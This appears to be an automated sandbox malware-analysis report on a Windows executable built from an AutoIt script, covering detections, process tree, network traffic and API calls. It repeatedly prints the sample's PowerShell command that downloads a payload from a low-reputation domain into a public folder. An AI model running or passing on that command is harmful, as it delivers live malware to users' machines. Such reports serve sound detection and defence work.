Edit tour

Windows Analysis Report
elyho3x5zz.exe

Overview

General Information

Sample name:	elyho3x5zz.exe renamed because original name is a hash value
Original sample name:	69931884c719a49700d9b1921e915ed0.exe
Analysis ID:	1584333
MD5:	69931884c719a49700d9b1921e915ed0
SHA1:	9d01852540ef12d782a18f0aae776a4af90be433
SHA256:	d438f531f435c04c139ff9895885a3bc721958fde5354d738bb928b1899e5693
Tags:	exeuser-abuse_ch
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Performs DNS queries to domains with low reputation

Sigma detected: Suspicious Invoke-WebRequest Execution

Suspicious powershell command line found

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Queries the volume information (name, serial number etc) of a device

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

elyho3x5zz.exe (PID: 3536 cmdline: "C:\Users\user\Desktop\elyho3x5zz.exe" MD5: 69931884C719A49700D9B1921E915ED0)

powershell.exe (PID: 4996 cmdline: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\elyho3x5zz.exe", ParentImage: C:\Users\user\Desktop\elyho3x5zz.exe, ParentProcessId: 3536, ParentProcessName: elyho3x5zz.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 4996, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\elyho3x5zz.exe", ParentImage: C:\Users\user\Desktop\elyho3x5zz.exe, ParentProcessId: 3536, ParentProcessName: elyho3x5zz.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 4996, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\elyho3x5zz.exe", ParentImage: C:\Users\user\Desktop\elyho3x5zz.exe, ParentProcessId: 3536, ParentProcessName: elyho3x5zz.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 4996, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\elyho3x5zz.exe", ParentImage: C:\Users\user\Desktop\elyho3x5zz.exe, ParentProcessId: 3536, ParentProcessName: elyho3x5zz.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 4996, ProcessName: powershell.exe

Suricata Signatures

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T08:44:51.281623+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: elyho3x5zz.exe	Virustotal: Detection: 55%			Perma Link
Source: elyho3x5zz.exe	ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49704 version: TLS 1.2

Source: elyho3x5zz.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A24C7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00007FF73A24C7C0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A24BC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00007FF73A24BC70
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A2571F4 FindFirstFileW,FindClose,	0_2_00007FF73A2571F4
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A2572A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00007FF73A2572A8
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A24B7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00007FF73A24B7C0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A212F50 FindFirstFileExW,	0_2_00007FF73A212F50
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A25A350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	0_2_00007FF73A25A350
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A256428 FindFirstFileW,FindNextFileW,FindClose,	0_2_00007FF73A256428
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A25A4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	0_2_00007FF73A25A4F8
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A25A874 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00007FF73A25A874

Networking

Performs DNS queries to domains with low reputation

Source:

DNS query: bdfhbrgrg.xyz

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 188.114.96.3:443

Source: global traffic

HTTP traffic detected: GET /ImldXigH HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bdfhbrgrg.xyzConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A25E968 InternetQueryDataAvailable,InternetReadFile,

0_2_00007FF73A25E968

Source: global traffic

HTTP traffic detected: GET /ImldXigH HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: bdfhbrgrg.xyzConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: bdfhbrgrg.xyz

Source: elyho3x5zz.exe, 00000000.00000002.2466117673.00000230D77B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bdfhbrgrg.xyz/ImldXigH
Source: elyho3x5zz.exe, 00000000.00000002.2465910493.00000230D7778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bdfhbrgrg.xyz/yajwgWMT.txt

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49704 version: TLS 1.2

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A260A6C OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00007FF73A260A6C

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A260D24 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00007FF73A260D24

Source: C:\Users\user\Desktop\elyho3x5zz.exe

0_2_00007FF73A260A6C

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A247BA0 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00007FF73A247BA0

System Summary

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00007FF73A1D37B0
Source: elyho3x5zz.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: elyho3x5zz.exe, 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_58584a3b-2
Source: elyho3x5zz.exe, 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*$:	memstr_54209ef6-d
Source: elyho3x5zz.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_e39eee00-b
Source: elyho3x5zz.exe	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*	memstr_25adb7bb-a

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A24BF80: CreateFileW,DeviceIoControl,CloseHandle,

0_2_00007FF73A24BF80

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A23D2C4 GetCurrentProcess,OpenProcessToken,CreateEnvironmentBlock,CloseHandle,CreateProcessWithLogonW,DestroyEnvironmentBlock,

0_2_00007FF73A23D2C4

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A24D750 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00007FF73A24D750

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A27DB18	0_2_00007FF73A27DB18
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1E3C20	0_2_00007FF73A1E3C20
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A20793C	0_2_00007FF73A20793C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A27BA0C	0_2_00007FF73A27BA0C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1DB9F0	0_2_00007FF73A1DB9F0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1EFA4F	0_2_00007FF73A1EFA4F
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A251A18	0_2_00007FF73A251A18
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1D5F3C	0_2_00007FF73A1D5F3C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A26206C	0_2_00007FF73A26206C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1DBE70	0_2_00007FF73A1DBE70
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1FBEB4	0_2_00007FF73A1FBEB4
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1DB390	0_2_00007FF73A1DB390
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A2632AC	0_2_00007FF73A2632AC
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A21529C	0_2_00007FF73A21529C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A201750	0_2_00007FF73A201750
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A2817C0	0_2_00007FF73A2817C0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1D183C	0_2_00007FF73A1D183C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A211840	0_2_00007FF73A211840
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A24D87C	0_2_00007FF73A24D87C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1E58D0	0_2_00007FF73A1E58D0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1FF8D0	0_2_00007FF73A1FF8D0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A2095B0	0_2_00007FF73A2095B0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A2656A0	0_2_00007FF73A2656A0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1D2AE0	0_2_00007FF73A1D2AE0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A2030DC	0_2_00007FF73A2030DC
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A212D20	0_2_00007FF73A212D20
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A216DE4	0_2_00007FF73A216DE4
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1E2E30	0_2_00007FF73A1E2E30
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A27CE8C	0_2_00007FF73A27CE8C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1F0E90	0_2_00007FF73A1F0E90
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1E0E70	0_2_00007FF73A1E0E70
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A268360	0_2_00007FF73A268360
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A2583D4	0_2_00007FF73A2583D4
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1FC3FC	0_2_00007FF73A1FC3FC
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A212400	0_2_00007FF73A212400
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A2084C0	0_2_00007FF73A2084C0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1F4514	0_2_00007FF73A1F4514
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1FC130	0_2_00007FF73A1FC130
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A1F02C4	0_2_00007FF73A1F02C4
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A2167F0	0_2_00007FF73A2167F0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A20A8A0	0_2_00007FF73A20A8A0
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A27A59C	0_2_00007FF73A27A59C
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A27C6D4	0_2_00007FF73A27C6D4

Source: classification engine

Classification label: mal76.troj.evad.winEXE@4/4@1/1

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A253778 GetLastError,FormatMessageW,

0_2_00007FF73A253778

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A23D5CC LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00007FF73A23D5CC
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Code function: 0_2_00007FF73A23CCE0 AdjustTokenPrivileges,CloseHandle,		0_2_00007FF73A23CCE0

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A2559D8 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_00007FF73A2559D8

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A24BE00 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00007FF73A24BE00

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A255F2C CoInitialize,CoCreateInstance,CoUninitialize,

0_2_00007FF73A255F2C

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF73A1D6580 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00007FF73A1D6580

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5016:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ycgw4vc1.xjq.ps1

Jump to behavior

Source: elyho3x5zz.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: elyho3x5zz.exe	Virustotal: Detection: 55%
Source: elyho3x5zz.exe	ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Users\user\Desktop\elyho3x5zz.exe "C:\Users\user\Desktop\elyho3x5zz.exe"
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "https://bdfhbrgrg.xyz/ImldXigH" -OutFile "C:\Users\Public\Guard.exe""	Jump to behavior

Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\elyho3x5zz.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
